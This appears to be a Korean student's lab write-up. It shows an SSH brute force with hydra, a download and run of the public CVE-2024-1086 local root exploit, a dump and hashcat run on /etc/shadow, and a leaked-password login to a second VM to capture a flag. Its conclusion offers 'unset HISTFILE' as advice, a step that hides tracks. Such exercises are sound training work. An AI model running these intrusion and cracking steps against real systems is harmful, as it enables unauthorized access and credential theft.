Skip to content

Privilege Escalation

  • 2개의 VM인 CJU, Goal이 있다. 모두 OpenSSH 서버가 동작 중이며, 같은 네트워크에 있다
  • 다음 과정을 보이는 기술 블로그 포스트를 작성하시오. (1, 3, 5는 필수로 포함되어야 함)
    1. CJU VM에 침투
    2. Privilege Escalation하기 위한 Discovery
    3. CVE-2024-1086를 이용하여 root 사용자로 Privilege Escalation
    4. CJU VM에서 Goal VM으로 Lateral Movement하기 위한 Discovery (Discovery는 CJU VM에서 수행)
    5. CJU VM에서 Goal VM으로 Lateral Movement (Lateral Movement는 CJU VM ⇒ Goal VM)

힌트

  1. 최초 침투 시 VM 이름이 힌트입니다.
    1. 사회공학적 기법
  2. 숨겨진 역사

위협 시나리오

  • CJU와 Goal 모두 SSH 서버 동작
  • CJU의 커널 버전이 CVE-2024-1086를 이용하기에 적합
  • kali와 CJU, Goal이 모두 같은 네트워크에 위치

1. CJU VM에 침투

  • 최초 침투 시 VM 이름이 힌트 => 사용자 아이디는 cju일 것으로 예상

1.1. nmap을 활용해 현재 네트워크의 VM IP 확인

$ nmap 10.0.11.3-255
...
Nmap scan report for 10.0.11.100
Nmap scan report for 10.0.11.101

nmap
이것만 봐서는 무엇이 CJU의 ip인지 알 수 없다.

1.2. Hydra를 사용해 cju의 password 크랙

  • 두 개의 IP 중 CJU를 특정할 수 없음.
  • 따라서 두 IP에 동시에 hydra를 사용
$ cat > ip_list
10.0.11.100
10.0.11.101
(Ctrl + d)
$ hydra -l cju -P /usr/share/wordlists/john.lst -M ip_list ssh
...
[22][ssh] host: 10.0.11.100   login: cju   password: 1111

Hydra

1.3. SSH 접속

$ ssh cju@10.0.11.100
cju@10.0.11.100's password: (1111)
...
localhost:~$

CJUSSH

2. Privilege Escalation하기 위한 Discovery

2.1. 커널 버전 정보 확인

$ uname -a
Linux localhost 5.15.140-0-virt #1-Alpine SMP Wed, 29 Nov 2023 21:47:33 +0000 x86_64 Linux

uname

2.2. 파일 탐색

  • 홈 디렉토리의 파일을 확인
$ ls -la
...
-rw-------    1 cju      cju             34 Oct 24 20:36 .ash_history
$ cat .ash_history
...

cjuhistory

  • 쓸모있는 정보는 없음

3. CVE-2024-1086를 이용하여 root 사용자로 Privilege Escalation

3.1. CVE-2024-1086 검색

  • https://nvd.nist.gov/vuln/detail/CVE-2024-1086
  • 커널 소스코드의 net/netfilter/nf_tables_api.c에 정의된 nft_verdict_init 함수와 net/netfilter/core.c에 정의된 nf_hook_slow 함수에서 문제가 된 것 같다.
  • 2024년 1월 24일에 커밋된 f342de4e2f33e0e39165d8639387aa6c19dff660 에서 해결되었다고 한다.
  • CJU의 커널 버전 5.15.140의 Release Date를 확인
  • CVE-2024-1086을 사용할 수 있을 것으로 예상

3.2. CVE-2024-1086을 구현한 Github 탐색

exploit_bin

  • Release가 있어 빌드할 필요가 없을 것 같다.

3.3. exploit 파일 전송

  • exploit 파일을 CJU로 전송하는 방법은 여러가지가 있다.
    • scp, wget, curl(CJU에는 curl이 없었다.) 등..
    • 하지만 scp와 wget이 불가능할 경우 ssh만으로 파일을 전송할 수 있다.
  • 이를 위해 kali에서 터미널을 실행해 exploit을 다운로드한다.
$ wget https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit
...
$ ls -la exploit
-rw-r--r-- 1 root root 169360 Mar 24  2024 exploit
  • 이제 ssh와 pipe('|')를 사용하여 파일을 전송한다.
$ cat exploit | ssh cju@10.0.11.100 "cat > /home/cju/exploit"
cju@10.0.11.100's password: (1111)
...

ssh_cat_pipe

  • 전송이 완료되면 sha256sum을 사용하여 exploit의 해시값을 확인하고 복사한다.
$ sha256sum exploit
d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77  exploit

kalihash

  • 해시값을 저장한 후 CJU ssh 쉘에 돌아가 파일을 확인한다.
$ ls -la exploit
-rw-r--r--    1 cju      cju         169360 Oct 24 21:44 exploit
  • sha256sum과 diff를 사용하여 파일의 무결성을 확인한다.

cjuhash

  • 파일이 정상적으로 전송되었다.

3.4. Exploit

  • 실행 권한 부여 후 exploit을 실행한다.
$ chmod 700 exploit
$ ./exploit
...
/ #

exploit

  • 루트 권한을 얻었다.

4. CJU VM에서 Goal VM으로 Lateral Movement하기 위한 Discovery

4.1. 파일 탐색

  • ls -la를 비롯한 여러 방법으로 파일 검색
/ # ls -la
...
/ # ls -la /root
...
.ash_history
.ssh
/ # cat /etc/shadow | head -n 1
root:$6$0aXoF/I2.6i.esMB$nfceOW142UU3ATjnkP.ZByP2HXfcUWPGdAUvGGK17DJHWBKi.k0XzzpZwVKml3F.pu7enuUbu
kNNhEnBJDIFM/:20006:0:::::
/ # cat /root/.ash_history
ssh proxynova@192.168.102.133
...

discovery roothistory

  • Goal의 사용자 아이디 == "proxynova"

4.2. 암호 크랙

  • proxynova의 암호를 알아내기 위해 다양한 방법을 수행
  • hydra를 사용
  • hashcat으로 CJU의 root 패스워드 크랙
    • CJU의 root 패스워드와 proxynova의 패스워드가 같을 가능성 존재
  • Credential Stuffing
    • 유출 패스워드 탐색

4.2.1. Hydra

$ hydra -l proxynova -P /usr/share/wordlists/john.lst ssh://10.0.11.101
...

4.2.2. hashcat

$ echo root:$6$0aXoF/I2.6i.esMB$nfceOW142UU3ATjnkP.ZByP2HXfcUWPGdAUvGGK17DJHWBKi.k0XzzpZwVKml3F.pu7enuUbu
kNNhEnBJDIFM/:20006:0::::: > shadow
$ hashcat --force -O -w 4 --opencl-device-types 1,2 shadow /usr/share/wordlists/rockyou.txt.gz
...

4.2.3. Credential Stuffing

  1. 인터넷으로 "proxynova password leak" 검색
  2. proxynova의 leaked password 검색
    pnpasswd
  3. 패스워드 대입
$ hydra -l proxynova -p d9vrzkeb ssh://10.0.11.101
...
[22][ssh] host: 10.0.11.101   login: proxynova   password: d9vrzkeb

goalcheck

  • 패스워드 == "d9vrzkeb"

5. CJU VM에서 Goal VM으로 Lateral Movement

$ ssh proxynova@10.0.11.101
proxynova@10.0.11.101's password: (d9vrzkeb)
...
localhost:~$

goalssh

$ ls -la
...
-rw-r--r--    1 proxynov proxynov        33 Oct 10 23:52 flag.txt
$ cat flag.txt
SysSec{Welcome_to_Wooam_Dungeon}

getflag

결론

flag == "SysSec{Welcome_to_Wooam_Dungeon}"

User Password
cju 1111
proxynova d9vrzkeb
  • 서버의 커널 버전을 높게 유지
  • shell의 history 기능 제거
    $ unset HISTFILE